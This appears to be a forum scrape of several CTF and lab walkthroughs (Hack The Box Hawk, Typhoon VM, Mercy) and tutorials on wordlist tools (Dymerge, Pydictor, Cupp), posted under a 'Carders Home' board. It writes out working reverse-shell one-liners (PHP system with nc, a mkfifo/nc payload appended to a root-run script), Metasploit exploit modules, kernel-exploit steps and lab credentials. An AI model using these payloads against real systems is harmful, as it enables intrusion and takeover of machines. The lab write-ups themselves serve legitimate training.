So we have created a script exploit.py which will convert the ASCII text to Decimal value and it will also put COMMA in between every Decimal value converted. Whereas we are using echo command to convert the Decimal value into Base64 encoded string. And copy the whole base64 string.
[Image: 28.png?w=687&ssl=1]

Set the Copied base64 string into Cookie: profile whose request is intercepted in the Burp suite and before forwarding the request just execute a netcat listener over port 1337.
[Image: 29.png?w=687&ssl=1]

Therefore we got a reverse shell on our netcat listener. To spawn the shell we have used python bin bash shell.
python -c 'import pty; pty.spawn("/bin/bash")'
1
python -c 'import pty; pty.spawn("/bin/bash")'
After recursively enumerating we found four mailboxes in /var/mail but the problem is they lack of permissions. After knowing about CouchDB’s Configuration, we came across that CouchDB’s default installation directory is /opt/CouchDB and it reads the configuration file from this directory etc/local.ini.
Let’s tail off the contents in local.ini.
tail /opt/couchdb/etc/local.ini
1
tail /opt/couchdb/etc/local.ini
After running this command, it displayed another Login Credential as shown in the image.
Username: hugo
Password: 321Blast0ff!!
1
2
Username: hugo
Password: 321Blast0ff!!
Then with the following command, we switch the user and logged in as user hugo.
su hugo
password: 321Blast0ff!!
1
2
su hugo
password: 321Blast0ff!!
[Image: 30.png?w=687&ssl=1]

Reading the emails of Hugo, we were brought to notice that Message 2 is interesting as it contains the password to root in the hash and also tells us to ADD ‘VR00M’ after roots password. Time to crack the password, to do that we have copied the password and pasted inside a file named hash.
[Image: 31.png?w=687&ssl=1]

Therefore, John the Ripper tool cracked the hash password for root i.e
Username: root
Password: cyber
1
2
Username: root
Password: cyber
[Image: 32.png?w=687&ssl=1]

Let’s again switch user and Login as root.
su root
Password: cyberVR00M
1
2
su root
Password: cyberVR00M
Booyeah!! We have successfully logged in as root and while checking through its mail directory, we have found our flag.txt file. We take a look at the content of the file and greeted with a congratulatory message.
[Image: 33.png?w=687&ssl=1]

Hello friends! This article is a comprehensive guide on the Dymerge tool. This is a handy little tool that helps you manage all the dictionaries that you’ve created reading through our blog and using all the amazing tools we’ve written about.
Table of Content

What is Dymerge
Installing and Launching Dymerge
Standard Merge
Fast Mode
Removing Duplicates
Reverse Listing
Alphabetic and Numeric Sorting
Defining Output
Including Characters
Compressing Output

Introduction to Dymerge
Dymerge is a tool that gives you the ability to manage dictionaries. By manage we mean it lets you give the ability to reshape and merge them. Reshaping and merging may seem trivial but considering the fact that you could be dealing with millions of words, even the smallest of operation can turn into a mammoth and complicated task.
Installing and Launching Dymerge
We can install Dymerge from GitHub and launch it in two simple commands. We have used the “– h” flag to display the various options Dymerge has to offer.
git clone

[To see content please register here]

./dymerge.py
1
2
git clone

[To see content please register here]

./dymerge.py
[Image: 1.png?w=687&ssl=1]

Standard Merge
We hope you have a few dictionaries handy to follow through with what we are doing. This a standard merge where we specify the paths to 2 different dictionaries and Dymerge combines them.
To avoid any confusion, the command is “./dymerge.py” followed by the path of the first dictionary, then a space and the path to the second dictionary. The output by default will be in a file named “dymerged.txt”
./dymerge.py /root/cupp/raj.txt /usr/share/wordlists/rockyou.txt
1
./dymerge.py /root/cupp/raj.txt /usr/share/wordlists/rockyou.txt
[Image: 2.png?w=687&ssl=1]

Fast Mode
Arguably if the dictionaries are very large, performing any operation on them will take time. The person who made Dymerge thought of this conundrum and gave us a way to speed up the process by using the “-f” flag.
./dymerge.py /root/cupp/raj.txt /usr/share/wordlists/rockyou.txt -f
1
./dymerge.py /root/cupp/raj.txt /usr/share/wordlists/rockyou.txt -f
[Image: 3.png?w=687&ssl=1]

Removing Duplicates
A lot of the dictionary making software’s follow the same logic, so there are bound to be similar words from time to time. Dymerge gives us the option to remove duplicate words from dictionaries while combining them. To achieve this, we will be using the “-u” flag.
./dymerge.py /root/cupp/raj.txt /usr/share/wordlists/rockyou.txt -u -f
1
./dymerge.py /root/cupp/raj.txt /usr/share/wordlists/rockyou.txt -u -f
[Image: 4.png?w=687&ssl=1]

Reverse Listing
Dymerge gives us the option to reverse the order of the words in the dictionaries that we merge, this means that the first word in the new dictionary will be the last word of the second dictionary.
./dymerge.py /root/cupp/raj.txt /usr/share/wordlists/rockyou.txt -r –f
1
./dymerge.py /root/cupp/raj.txt /usr/share/wordlists/rockyou.txt -r –f
[Image: 5.png?w=687&ssl=1]

Alphabetic and Numeric Sorting
This option lets us sort words alphabetically, it also sorts numbers by following the progression of a number line from left to right when merging 2 dictionaries to 1. We will be using the “-s” flag to perform this operation.
./dymerge.py /root/cupp/raj.txt /usr/share/wordlists/rockyou.txt -s –f
1
./dymerge.py /root/cupp/raj.txt /usr/share/wordlists/rockyou.txt -s –f
[Image: 6.png?w=687&ssl=1]

Defining Output
So far we have been letting Dymerge save the output using it’s default settings, this time we will define the file name and destination of the output by using the “-o” flag.
./dymerge.py /root/cupp/raj.txt /usr/share/wordlists/rockyou.txt -s -f -o /root/output.txt
1
./dymerge.py /root/cupp/raj.txt /usr/share/wordlists/rockyou.txt -s -f -o /root/output.txt
[Image: 7.png?w=687&ssl=1]

Including Characters
Just in case we find that we need something specific added to the dictionary, we can use the “-I” flag. Any characters placed after using the include flag are added to the dictionary.
./dymerge.py /root/cupp/raj.txt /usr/share/wordlists/rockyou.txt -s -f -i raj
1
./dymerge.py /root/cupp/raj.txt /usr/share/wordlists/rockyou.txt -s -f -i raj
[Image: 8.1.png?w=687&ssl=1]

And here we see “raj” being added to the dictionary.
[Image: 8.2.png?w=687&ssl=1]

Compressing Output
Dictionaries can be pretty big in size, especially when you’re talking about a unified dictionary comprised of multiple dictionaries. Dymerge gives us the option to compress our output using the “-z” flag.
./dymerge.py /root/cupp/raj.txt /usr/share/wordlists/rockyou.txt -s -f –z zip
1
./dymerge.py /root/cupp/raj.txt /usr/share/wordlists/rockyou.txt -s -f –z zip
[Image: 9.png?w=687&ssl=1]

All said and done, this is a pretty neat little tool to use when you’re dealing with multiple dictionaries and need something to bring a little bit of order. The functions it performs may seem simple of the face of it but are without a doubt very useful.
Stay tuned for more articles on the latest and greatest in hacking.

[Guide] How to Hack the Box: Hawk Walkthrough

Posted by: NINZA - 05-14-2020, 10:08 AM - Forum: Carders Home - No Replies

Today we are going to solve another CTF challenge “Hawk”. Hawk is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Easy
Task: To find user.txt and root.txt
Note: Since these labs are online available therefore they have static IP. The IP of Hawk is 10.10.10.102
Penetration Methodology:

Port scanning and IP discovery
Anonymous FTP Login
Checking file type
Getting Login Credentials
Browsing IP through port 80
Exploiting Drupal
Reading First Flag User.txt
Getting Login Credentials
Spawning TTY Shell
Searching exploit via Searchsploit
Getting root Access
Reading Final Flag Root.txt

Walkthrough
Let’s start off with our basic nmap command to find out the open ports and running services.
nmap -A 10.10.10.102
1
nmap -A 10.10.10.102
[Image: 1.png?w=687&ssl=1]

The Nmap output shows various open ports: 21(ftp), 22(ssh), 80 http server (Drupal CMS), 8082 (h2 database http console).
From the NMAP Scan output, we saw that ftp Port 21 is Open and the next thing that catches our eyes is that it has Anonymous login allowed.
ftp 10.10.10.102
1
ftp 10.10.10.102
We easily connected to ftp through Anonymous Login. Moving on, after navigating through multiple directories we found a hidden file i.e. “.drupal.txt.enc “and then we transferred the file to our local machine.
[Image: 2.png?w=687&ssl=1]

Since .drupa.txt.enc is encrypted. Let’s check the file type using the ‘file’ command.
file .drupal.txt.enc
1
file .drupal.txt.enc
[Image: 3.png?w=687&ssl=1]

It came out to be OpenSSL encoded data with a salted password. Clearly, we need to decrypt the file to get any further clue.
To crack this file, we have used an OpenSSL bruteforce tool which is easily available on GitHub. You can download it from the given below link or can run the following command for downloading and script execution.
git clone

[To see content please register here]

./openssl-brute --file /root/.drupal.txt.enc
1
2
git clone

[To see content please register here]

./openssl-brute --file /root/.drupal.txt.enc
Boom!! We have successfully cracked the file and the Password Hint we got is “PencilKeyboardScanner123” this could be the password for CMS Login. Let’s Check it.
[Image: 4.png?w=687&ssl=1]

As port 80 is running http server, we open the target machine’s IP address in our browser and found out it’s a Drupal Login Page. To Login this page we have used a Basic Username: admin and Password: PencilKeyboardScanner123.
[Image: 6.png?w=687&ssl=1]

Oh yeah!! We have successfully logged into the admin dashboard. Now go to modules and then enable the checkbox for Path and PHP filter.
[Image: 7.png?w=687&ssl=1]

After that go to Content > Add Content > Basic Page to create a basic page where we can write malicious code to spawn the web shell. Just give any title for your malicious code.
Here we have written one-liner code for PHP reverse shell with the help of Pentest Monkey website.
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.10 1234 >/tmp/f"); ?>
1
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.10 1234 >/tmp/f"); ?>
Then select the Text format as “PHP code”. Before saving it you should start netcat listener on the listening port. So, once the code is executed it will establish a reverse connection.
nc -lvp 1234
1
nc -lvp 1234
[Image: 8.png?w=687&ssl=1]

We got a reverse connection of the victim’s machine on our netcat listener. To spawn the proper shell we have used python3 bin bash shell.
python3 -c 'import pty;pty.spawn("/bin/bash")'
1
python3 -c 'import pty;pty.spawn("/bin/bash")'
Inside /home/denial we have got to User.txt flag, now time to find the root flag. While exploring through directories, we thought of reading the contents of the “settings.php” file, in this file we found the password: drupal4hawk
cat settings.php | grep password
1
cat settings.php | grep password
[Image: 9.png?w=687&ssl=1]

Then with the following command, we switch the user and logged in as user daniel.
su daniel
Password: drupal4hawk
1
2
su daniel
Password: drupal4hawk
Here we have used Simple phyton3 commands to escape the python3 interpreter.
>>import pty
>>pty.spawn('/bin/bash')
1
2
>>import pty
>>pty.spawn('/bin/bash')
[Image: 10.1.png?w=687&ssl=1]

From Nmap scan output we notice that “H2 database running on port 8082”, therefore we search out for H2 database exploit in searchsploit.
searchsploit H2 database
1
searchsploit H2 database
It came out to be a Remote Code Execution. The exploit we have used is highlighted, after that, we have copied the exploit 45506.py in the /root directory and run a Python server to download the file in the target machine.
searchsploit -m 45506
python -m SimpleHTTPServer 8080
1
2
searchsploit -m 45506
python -m SimpleHTTPServer 8080
[Image: 10.png?w=687&ssl=1]

Afterward, we have downloaded our exploit 45506.py in the /tmp directory of the target machine. Then Grant the FULL permission to the exploit and execute it using the command.
cd /tmp
wget

[To see content please register here]

chmod 777 45506.py
python3 45506.py –H 127.0.0.1:8082
id
1
2
3
4
5
cd /tmp
wget

[To see content please register here]

chmod 777 45506.py
python3 45506.py –H 127.0.0.1:8082
id
Finally!! We have got the root access. Now let’s go and get the “root.txt”. We take a look at the content of the file and found our final flag.
[Image: 11.png?w=687&ssl=1]

Typhoon VM contains several vulnerabilities and configuration errors. Typhoon can be used to test vulnerabilities in network services, configuration errors, vulnerable web applications, password cracking attacks, privilege escalation attacks, post exploitation steps, information gathering, and DNS attacks. Prisma training involves the practical use of Typhoon.
Download it from here:

[To see content please register here]

Penetrating Methodology

Network Scanning (Netdiscover, Nmap)
1st method of exploiting via exploring MongoDB
Consider robots.txt
Explore /MongoDB over browser
Identify credential
SSH Login
Find out kernel version
Kernel privilege escalation
Obtain root access
2nd method of exploiting via tomcat manager (Metasploit)
Generating bash payload
Uploading bash payload
Obtain root access
3rd Method: Exploiting Drupal CMS
4th Method: Exploiting Lotus CMS

Since there are multiple ways in which we can exploit this machine. Therefore we have used two methods to capture the flag as follows:
Method 1: Exploiting by exploring MongoDB
Let’s Begin with the Walkthrough!!
Let’s start off with scanning the network to find our targets IP.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

We found our target IP –> 192.168.1.101
Our next motive is to scan the target IP with nmap.
nmap -A 192.168.1.101
1
nmap -A 192.168.1.101
The NMAP output shows various open ports: 21(ftp), 22(ssh), 25(smtp), 53(domain), 80(http), 110(pop3), 111(rpcbind), 139(netbios-ssn), 143(imap), 445(netbios-ssn), 631(ipp), 993(ssl/imaps), 995(ssl/pop3), 2049(nfs_acl), 3306(mysql), 5432(postgrespl), 8080(http).
Further, we notice that there is an entry /monoadmin/ in robot.txt as it might be useful.
[Image: 2.png?w=687&ssl=1]

We also noticed that port 8080 is open for Apache Tomcat/ Coyote JSP Engine 1.1. This could be another way of exploiting this machine. But will see to it later on.
[Image: 3.png?w=687&ssl=1]

Moving on, Since port 80 is also open. So, we browsed the found directory /mongoadmin/ into the browser. The result displayed is shown in the image. Here we set the change the database to credentials(84mb). It will display a link of 2 Credentials. Click on it.
[Image: 4.png?w=687&ssl=1]

Clicking on the 2 Credential link will give us Credentials [username]:typhoon and [password]:789456123 . These credentials might be a great help for further enumeration.
[Image: 5.png?w=687&ssl=1]

After some time, we just strike with an idea WHY NOT USE THE FOUND CREDS TO LOGIN WITH SSH?. Since SSH port 22 is also open.
Then we simply logged in SSH with CREDENTIALS Username: typhoon & Password: 789456123
ssh [email protected]
1
ssh [email protected]
Then we checked system information and found out Ubuntu 14.04 is running on the target machine. Good thing we were familiar with an exploit for Ubuntu 14.04.
[Image: 6.png?w=687&ssl=1]

Next, we look for an exploit for ubuntu 14.04 using searchsploit. The exploit we have used have highlighted, after that, we have copied the exploit 37292.c in the /root/ directory. Executing a Python server to download the file in the target machine.
searchsploit ubuntu 14.04
1
searchsploit ubuntu 14.04
[Image: 7.png?w=687&ssl=1]

Afterward, we have downloaded our exploit 37292.c in the /tmp directory. After compilation and granting permissions to the exploit. We have executed it.
cd /tmp
wget

[To see content please register here]

ls
gcc 37292.c -o rootshell
chmod 777 rootshell
./rootshell
cd /root
ls
cat root-flag
1
2
3
4
5
6
7
8
9
cd /tmp
wget

[To see content please register here]

ls
gcc 37292.c -o rootshell
chmod 777 rootshell
./rootshell
cd /root
ls
cat root-flag
Booyah!! We have got the root access and found our FLAG. We take a look at the content of the file and greeted with a congratulatory message.
[Image: 8.png?w=687&ssl=1]

Method 2: Exploiting via Tomcat Manager
Using Tomcat Manager Upload to get the meterpreter and then further establishing a reverse connection to get root access.
Let’s Begin with the Walkthrough!!
Since in Method-1 port scanning, we notice that port 8080 is open for Apache Tomcat/ Coyote JSP Engine 1.1. So let’s browse the Target IP on port 8080 on the browser.
[Image: 9.png?w=687&ssl=1]

We are very familiar with Tomcat Server Login using manager web app due to our previous lab experiences. Without wasting time we straight away logged into Tomcat Server using Metasploit Tomcat Manager using the Default credentials for Tomcat Server Login.
[username]:tomcat
[password]:tomcat
1
2
[username]:tomcat
[password]:tomcat
Oh Yeah! We have got a meterpreter. After spending a lot of time of enumeration, we found a directory /tab which consists of file script.sh that is owned by root and has FULL Permission. So we thought of inserting malicious code in script.sh.
use exploit/multi/http/tomcat_mgr_upload
set rhost 192.168.1.101
set rport 8080
set httpusername tomcat
set httppassword tomcat
exploit
1
2
3
4
5
6
use exploit/multi/http/tomcat_mgr_upload
set rhost 192.168.1.101
set rport 8080
set httpusername tomcat
set httppassword tomcat
exploit
[Image: 10.png?w=687&ssl=1]

Moving on!! We need to create a bash code using Msfvenom:
msfvenom –p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=1234 R
1
msfvenom –p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=1234 R
After that, append the above generated malicious code in the script.sh file.
[Image: 11.png?w=687&ssl=1]

echo "mkfifo /tmp/vvwjo; nc 192.168.1.109 1234 0</tmp/vvwjo | /bin/sh >/tmp/vvwjo 2>&1; rm /tmp/vvwjo" > script.sh
1
echo "mkfifo /tmp/vvwjo; nc 192.168.1.109 1234 0</tmp/vvwjo | /bin/sh >/tmp/vvwjo 2>&1; rm /tmp/vvwjo" > script.sh
[Image: 12.png?w=687&ssl=1]

Since the malicious code got executed with the script.sh file. Therefore we got a reverse shell on our netcat listener.
Yeah!! We have got the root access and found root-flag. We take a look at the content of the file and greeted with a congratulatory message.
[Image: 12.png?w=687&ssl=1]

Method 3: Exploiting Drupal CMS
Unfortunately, on exploring port 80 we didn’t observe any remarkable things, therefore, we try to enumerate web directory with the help of Dirb tool.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

It was wonderful to observe that there was two CMS as highlighted in the below image.
[Image: 17.png?w=687&ssl=1]

On exploring /Drupal in the web browser, it put up the following web page which was associated with Drupal cms.
Without wasting time, we chase towards Metasploit and run the following module to exploit Drupal cms.
use exploit/unix/webapp/drupal_drupalgeddon2
msf exploit(/unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.1.101
msf exploit(/unix/webapp/drupal_drupalgeddon2) > set targeturi /drupal
msf exploit(/unix/webapp/drupal_drupalgeddon2) > exploit
1
2
3
4
use exploit/unix/webapp/drupal_drupalgeddon2
msf exploit(/unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.1.101
msf exploit(/unix/webapp/drupal_drupalgeddon2) > set targeturi /drupal
msf exploit(/unix/webapp/drupal_drupalgeddon2) > exploit
Booom!! It was a terrific moment to see the meterpreter session of the target machine. Now for the post exploitation, you can follow the above methodology which we have already discussed in the 1st method.
[Image: 18.png?w=687&ssl=1]

Method 4: Exploiting Lotus CMS
Scroll up and kindly notice the result which we have obtained from the dirb scan, there we had found two CMS. We had already exploit Drupal, now let’s go for next CMS and try to exploit it, if possible
So on exploring /cms in the web browser, it put up the following web page which was associated with Lotus cms.
[Image: 19.png?w=687&ssl=1]

Without wasting must time, again we chase towards Metasploit and run the following module to exploit lotus cms.
use exploit/multi/http/lcms_php_exec
msf exploit(multi/http/lcms_php_exec) > set rhost 192.168.1.101
msf exploit(multi/http/lcms_php_exec) > set uri /cms/
msf exploit(multi/http/lcms_php_exec) > exploit
1
2
3
4
use exploit/multi/http/lcms_php_exec
msf exploit(multi/http/lcms_php_exec) > set rhost 192.168.1.101
msf exploit(multi/http/lcms_php_exec) > set uri /cms/
msf exploit(multi/http/lcms_php_exec) > exploit
[Image: 20.png?w=687&ssl=1]

Great, we have owned another meterpreter session of the target machine. Now for the post-exploitation you can follow the above methodology which we have already discussed in the 1st method.

In this article, we will explore another dictionary building tool “Pydictor”. These tools are always fun to work with, this is another robust tool perfect for generating custom dictionaries. The thing that stands out most about this tool is the customization options it offers, from the most common to the advance.
Table of Content

What is Pydictor
Installation
Numeric Dictionary
Lower Case Alphabet Dictionary
Upper Case Alphabet Dictionary
Numeral Coupled With Upper Case Alphabet
Upper Case Coupled With Lower Case Alphabet
Numeral Coupled With Lower Case Alphabet
Combining Upper Case, Lower Case, and Numeral
Adding Static Head
Adding Static Tail
Encoding
Character Permutation
Multiple Character Group Permutation
Social Engineering Dictionary
Customizing the Social Engineering Dictionary
Manipulating Dictionary Complexity Filter
Using Plugin
Leet Function

What is Pydictor
Pydictor is one of those tools that both novices and pro can appreciate. It is a dictionary building tool that is great to have in your arsenal when dealing with password strength tests. The tool offers a plethora of features which can be used to create that perfect dictionary for pretty much any kind of testing situation.
Installation
Let’s get cracking, the first thing we do is download Pydictor from GitHub and run it using Python. The moment the tool is executed, the running commands are visible to see other optional arguments.
git clone

[To see content please register here]

cd pydictor
python pydictor.py
1
2
3
git clone

[To see content please register here]

cd pydictor
python pydictor.py
[Image: 1.png?w=687&ssl=1]

Numeric Dictionary
We are beginning by exploring the option to create a numeric or as described by the tool, digital, dictionary. Let’s start by keeping it simple, only 5 characters long and limited to 0 – 5. We will be using the “-base” option to accomplish this.
The output is saved by default but in this case, we will be saving it to “dict.txt”. The storage location will always appear after each execution. The “cat” command is used to view the output in the terminal.
python pydictor.py --len 5 5 -base d -o dict.txt
1
python pydictor.py --len 5 5 -base d -o dict.txt
[Image: 2.png?w=687&ssl=1]

Alphabet Dictionary
We will be making a dictionary which only holds lower case alphabets, the length of the words will remain to 5 characters.
python pydictor.py --len 5 5 -base L
1
python pydictor.py --len 5 5 -base L
[Image: 3.png?w=687&ssl=1]

Upper Case Alphabet Dictionary
We will now generate a dictionary with all the same metrics as earlier with the exception of changing the base option to upper case alphabets.
The result is visible to see.
python pydictor.py --len 5 5 -base c
1
python pydictor.py --len 5 5 -base c
[Image: 4.png?w=687&ssl=1]

Numeric Coupled With Upper Case Alphabet
The base options in Pydictor can be used in conjunction with each other, in this instance, we will be coupling numeric (d) and upper case alphabets ©. Let’s see what kind of output we get.
python pydictor.py --len 5 5 -base dc
1
python pydictor.py --len 5 5 -base dc
[Image: 5.png?w=687&ssl=1]

Upper Case Coupled With Lower Case Alphabet
This time it’s going to be both upper and lower case alphabets together.
python pydictor.py --len 5 5 -base Lc
1
python pydictor.py --len 5 5 -base Lc
[Image: 6.png?w=687&ssl=1]

Numeral Coupled With Lower Case Alphabet
Let’s see what we get when we couple numerals with lower case alphabets.
python pydictor.py --len 5 5 -base dL
1
python pydictor.py --len 5 5 -base dL
[Image: 7.png?w=687&ssl=1]

Combining Upper Case, Lower Case, and Numeral
Now let’s combine all the 3 options that we’ve been playing. We will now combine the upper case, lower case, and numeral. To keep the output moving quicker we will limit the word length to 3 characters.
python pydictor.py --len 3 3 -base dLc
1
python pydictor.py --len 3 3 -base dLc
[Image: 8.png?w=687&ssl=1]

Adding Static Head
We will now be adding a static head to all the words, note that the head is in addition to the 5 character length that is set. In this instance, we will be adding “raj” as a static head in front of all the numerals.
python pydictor.py --len 5 5 --head raj -base d
1
python pydictor.py --len 5 5 --head raj -base d
[Image: 9.png?w=687&ssl=1]

Adding Static Tail
We will now be adding a static tail to all the words, note that as mentioned in the instance above, the tail is in addition to the 5 character length that is set. In this instance, we will be adding “raj” as a static tail at the end of all the numerals.
python pydictor.py --len 5 5 --tail raj -base d
1
python pydictor.py --len 5 5 --tail raj -base d
[Image: 10.png?w=687&ssl=1]

Encoding
Pydictor has an encode function that we can use to encode the words in the dictionary.
It gives us the option to choose from popular encoding algorithms such as Base64, DES, AES, MD5, SHA256, etc. In this instance, we will be using Base64 as our algorithm of choice to encode numerals.
In the interest of thoroughness, we will first generate the numerals without encoding and then with encoding.
python pydictor.py --len 5 5 –base d
1
python pydictor.py --len 5 5 –base d
[Image: 11.png?w=687&ssl=1]

Now we see what the Base64 encoded output looks like
python pydictor.py --len 5 5 -base d --encode b64
1
python pydictor.py --len 5 5 -base d --encode b64
[Image: 12.png?w=687&ssl=1]

Character Permutation
We can use a permutation of a single word, Pydictor lets us choose a word and churn out as many permutations of it as possible.
python pydictor.py -char raj
1
python pydictor.py -char raj
[Image: 13.png?w=687&ssl=1]

Multiple Character Group Permutation
We’ll take Pydictor’s permutation prowess one step further by using the “-chunk” option.
This time we will be giving it multiple groups of characters which it will take and churn out as many permutations as possible. It begins in a subtle way by just manipulating one word and then gradually moves on to the others. Notice the progression in the screenshot below.
python pydictor.py -chunk abc ABC 666 . _ @ "'"
1
python pydictor.py -chunk abc ABC 666 . _ @ "'"
[Image: 14.png?w=687&ssl=1]

Social Engineering Dictionary
Pydictor comes with an inbuilt social engineering dictionary builder that lets testers input information from profiling an individual to get a custom-tailored dictionary. We run the “help desk” within the social engineering dictionary builder option to see the various defaults it has to offer.
python pydictor.py --sedb
1
python pydictor.py --sedb
[Image: 15.png?w=687&ssl=1]

Customizing the Social Engineering Dictionary
“show option” is used within the social engineering dictionary builder to set the various vectors from profiling a target to generate a target-specific dictionary. In this instance, we will only be inputting the name, birth date, and email and phone number. The vectors are set using the “set” command.
[Image: 16.png?w=687&ssl=1]

Let’s see what our social engineering dictionary output looks like.
[Image: 17.png?w=687&ssl=1]

Manipulating Dictionary Complexity Filter
We will be doing two things in this instance, we will be extending a dictionary based on a rule and separating words filtered according to complexity level. The complexity level is set to 3 by default, we will take it up a notch by setting it to 4. The character length is set to a minimum of 1 and a maximum of 6.
We view the latter part of the output.
python pydictor.py -extend raj --level 4 --len 1 6
1
python pydictor.py -extend raj --level 4 --len 1 6
[Image: 18.png?w=687&ssl=1]

Using Plugin
Pydictor has plugins built into it by default, we will be using a plugin that bases its generation on the last 6 digits of a Chinese resident ID card number. We will filter it using the “-occur” function. The occur option lets us defines with the following; letter, numeral, and special character, in that order. We will only be looking for results that have numerals occurring 4 times or more in a single string.
python pydictor.py -plug pid6 --types ">=0" ">=4" ">=0"
1
python pydictor.py -plug pid6 --types ">=0" ">=4" ">=0"
[Image: 19.png?w=687&ssl=1]

Leet Function
The leet function can selectively substitute numerals or special characters in the place of alphabets to illustrate; leet turns to L331. We will be using the leet function in conjunction with the occur option and extend function.
This is a more complex task that we have made from Pydictor than our earlier instances, let’s see what our output looks like.
python pydictor.py -extend /names.txt --leet 0 1 2 11 21 --len 4 16 --occur "<=10" ">0" "<=2"
1
python pydictor.py -extend /names.txt --leet 0 1 2 11 21 --len 4 16 --occur "<=10" ">0" "<=2"
[Image: 20.png?w=687&ssl=1]

We hope you enjoyed our little walkthrough of Pydictor. As mentioned earlier, dictionary generators are always a handy thing to have in your arsenal of pentesting tools. This tool gives the user a lot of advanced options which can a bit overwhelming unless the user has a very clear picture of what they want out of this tool.
Don’t be afraid of taking Pydictor for a spin and see what more you can derive out of it.
Stay tuned for more articles on the latest and greatest in hacking.

Hello Friends!! Today we are going explore the function of Cupp which is an authoritative tool that creates a wordlist especially particular for a person that can be used while making brute force attack for guessing login credential.
Table of Content

Introduction to Cupp
How Cupp Works
Getting Started
Generating Custom Dictionary
Adding to Custom Dictionary
Downloading Dictionaries from Cupp Repository
Downloading Default Usernames and Passwords
Quiet Mode

Introduction to Cupp
Cupp stands for Common User Passwords Profiler and this tool can be used in many circumstances like license penetration tests or forensic crime investigations, CUPP is a cross-platform and written in Python and it’s functioning is simple but with very powerful results. This application is a social engineer’s best friend when it comes to creating targeted password dictionaries which are tailored to an individual.
How Cupp Works
Cupp takes vectors from the profiling done for an individual, such as their nickname, pets name, child’s birthdate, etc. It works on the principle that a password is, more often, a combination of things known to an individual. These known things are often personal details that are very close to a person’s heart.
In cases when a person might use special notations in place of alphabets (e.g: leet can be written as 133t) Cupp has you covered.
Installation and Configuration
Cupp can be downloaded from GitHub using the “git clone” command. Within the downloaded Cupp folder, run the “cup.py” file. Once the file is run, the program shows you the various options it has to offer.
git clone

[To see content please register here]

cd cupp
ls
./cupp.py
1
2
3
4
git clone

[To see content please register here]

cd cupp
ls
./cupp.py
Optional Arguments:
-i Interactive questions for user password profiling
-w FILENAME Use this option to profile an existing dictionary,
-l Download huge wordlists from a repository
-a Parse default usernames and passwords directly from Alecto DB.
Project Alecto uses purified databases of Phenoelit and CIRT which merged and enhanced.
-v Version of the program
[Image: 1.png?w=687&ssl=1]

Generating Custom Dictionary
Now it’s time to have some fun!
We will be using the interactive option to generate the custom dictionary. You will see that we have the option to input options such as pet’s name, child’s name, partners nickname, etc. All these things are highly personal and very common to find these things in a password, one way or another.
There’s also an option to add any specific keywords, special characters, and random numbers. Apart from all this, there’s the option to activate Leet mode, this will make the generated dictionary extremely effective.
That’s all, the dictionary now gets made and saved.
./cupp.py -i
1
./cupp.py -i
[Image: 2.png?w=687&ssl=1]

Adding to Custom Dictionary
Cupp gives us the option to add more words to our created dictionary. We can customize the kind of words we would like to add by using the provided options.
./cupp.py -w raj.txt
1
./cupp.py -w raj.txt
Now that we have successfully executed the command, now let’s traverse to the location to ensure whether the output has been saved on the file on not. In this case, our location for output is /root/cupp /raj.txt.cupp.txt
[Image: 3.png?w=687&ssl=1]

Downloading Dictionaries from Cupp Repository
Cupp has its own repositories of dictionaries which are pre-classified. These dictionaries can be downloaded and used. The downloaded files are compressed and have to be uncompressed to be viewed.
Enter the number to choose a name to select the dictionary you want to download, we have pressed 16 and downloaded to view a dictionary of Hindi names.
./cupp.py –l
cd dictionaries
cd hindi
gzip -d hindu-names.gz
cat hindu-names
1
2
3
4
5
./cupp.py –l
cd dictionaries
cd hindi
gzip -d hindu-names.gz
cat hindu-names
[Image: 4.png?w=687&ssl=1]

Downloading Default Usernames and Passwords
Cupp can download premade dictionaries holding the most common usernames and passwords from the project Alecto database for usage.
./cupp.py –a
ls
cat alectodb-passwords.txt
1
2
3
./cupp.py –a
ls
cat alectodb-passwords.txt
[Image: 5.png?w=687&ssl=1]

Quiet Mode
Quiet mode is for running Cupp in a more hush-hush way. If you’re the kind of person who does not want a big banner on their screen showing everyone what you’re doing, you’ll like this option. This basically makes for a cleaner screen while cupp is carrying out the commands you’re giving it, without the funny cow popping up on top.
We’re going the couple the quiet mode option with the dictionary download option that we demonstrated above.
./cupp.py -a -q
1
./cupp.py -a -q
We hope you enjoyed this basic walkthrough of the Cupp application. It is very handy and easy to use the tool when it comes to making custom dictionaries. Go ahead and see if it can guess your password.
Stay tuned for more articles on the latest and greatest in hacking!!!
[Image: 6.png?w=687&ssl=1]

[Guide] Mercy: Vulnhub Walkthrough

Posted by: NINZA - 05-14-2020, 10:06 AM - Forum: Carders Home - No Replies

MERCY is a machine dedicated to Offensive Security for the PWK course. MERCY is a name-play and has nothing to do with the contents of the vulnerable machine. You can download the Mercy vulnerable lab from

[To see content please register here]

. The challenge is to get root on the Targeted Virtual Machine and read the proof.txt within that directory.
Flag: Proof.txt
Tables of Contents:

IP discovery and Port Scanning.
Browsing the IP on port 8080.
Decoding Base64 String.
Using Enum4linux tool for enumerating information of the Target Machine.
Getting Login Credentials to connect via smbclient.
Port Knocking.
Discovering accessible directories on the victim’s machine.
Browsing through discovered directory’s.
Searching exploits via searchsploit.
Finding Login Credentials for Tomcat Server.
Logging into Tomcat Server using Metasploit.
Exploiting Misconfiguration in the Target Machine.
Using Msfvenom for creating payload one-liner.
Getting root access.
Reading the flag.

Let’s Begin with the Walkthrough!!
Let’s start off with scanning the network to find our targets IP.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

We found our target IP –> 192.168.1.105
Our next motive is to scan the target IP with nmap.
nmap -A 192.168.1.105
1
nmap -A 192.168.1.105
[Image: 2.png?w=687&ssl=1]

The NMAP output shows various open ports: 22(ssh), 53(domain), 80(http), 110(pop3), 139(netbios-ssn), 143(imap), 445(netbios-ssn), 993(ssl/imaps), 995(ssl/pop3), 8080(http).
